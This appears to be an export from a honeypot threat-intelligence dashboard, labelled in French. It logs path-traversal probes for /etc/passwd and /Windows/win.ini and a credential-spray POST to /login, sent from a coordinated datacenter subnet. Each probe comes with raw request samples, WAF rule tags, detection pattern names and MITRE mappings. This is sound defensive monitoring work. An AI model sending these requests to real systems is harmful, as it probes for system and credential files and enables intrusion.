"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 2.1,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 66,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "6b8e12c476782c9978726189a62d4c150cb263e9",
"event_fingerprint": "4b846f76b08b32696db8647e47acaa72550373f6",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 344,
"precision_signals": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"kb_rule_ids": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"MITRE T1083 file enum",
"SSRF Any-address SSRF",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "831b1875f79bfcd902e54f49f41e83ff",
"path_pattern_hash": "74acf31844532670be412c65b8251ee5"
},
"target_context": {
"dst_port": 8060,
"service": "http",
"service_name": "http",
"risk_score": 66
},
"payload_preview": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"evidence": {
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a47c1a1f4ef39bfa2b70b3d7dd36cd4ff13cc217",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8060,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8060 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"target_port_label": "8060 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 66,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8060,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8060,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8060 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"target_port_label": "8060 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8060"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:08 UTC
TCP
8060 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8060 · (tentative d'exploit) · → /Windows/win.ini
Élevée
Élevé · 66
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1083
TA0001
TA0002
Protocole
GET /Windows/win.ini UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8060
Chemin / cible
/Windows/win.ini
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 66
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0715
CRS-930100-sub
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
SSRF Any-address SSRF
Ligne de requête
GET /Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /Windows/win.ini HTTP/1.1
Host: 62.3.50.33:8060
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) A
Requête brute (extrait)
GET /Windows/win.ini HTTP/1.1 Host: 62.3.50.33:8060 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "659aba210ed45d12732dc398ec420869b9d4d3d3",
"http_target_hash": "b5d2bf3ef60b3bbf03ffbca44323fac1d6d4719a",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 200,
"payload_entropy": 5.372598909902941,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8060,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 1.8,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 66,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "21a103292f033c2260bc9b9dcd6de6db692e3a6d",
"event_fingerprint": "7decd80d0398911b4b93b90469f8a94d703cea28",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 146,
"precision_signals": [
"pat-0715",
"CRS-930100-sub"
],
"kb_rule_ids": [
"pat-0715",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0715",
"pat-0324"
],
"matched_pattern_names": [
"CRS 930150 boot ini",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0715",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "17a278a6846c20c242ae44f959ef05fd",
"path_pattern_hash": "4a136e1e1f4d3c20d824eefa8bc8174c"
},
"target_context": {
"dst_port": 8060,
"service": "http",
"service_name": "http",
"risk_score": 66
},
"payload_preview": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"evidence": {
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f17e2b83fcfdf4091b4356be1d9618e80d8dc803",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8060,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8060 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"target_port_label": "8060 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 66,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8060,
"protocol_emulated": true,
"tags_summary": [
"pat-0715",
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"pat-0715",
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8060,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8060 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:8060\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"target_port_label": "8060 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8060"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:34:16 UTC
TCP
8005 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:8005 · (sonde / probe) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
33
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950383:rce-14
950470:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8005
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 5 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
rce-14
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Int
Requête brute (extrait)
POST /login HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Type: application/json Cont
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "474d34701ef094042bceaaeec604d0fd7a5f5a84",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 1851,
"payload_entropy": 5.092820682129267,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8005,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "ec32cab1f15719b26d82f0cc5d2880b8310219d2",
"event_fingerprint": "057f4e5baa46ff6287baca719efdcb9f5a33eea7",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "edb489bf558267b990ef856fc75e2dc2",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8005,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nCont",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nCont",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
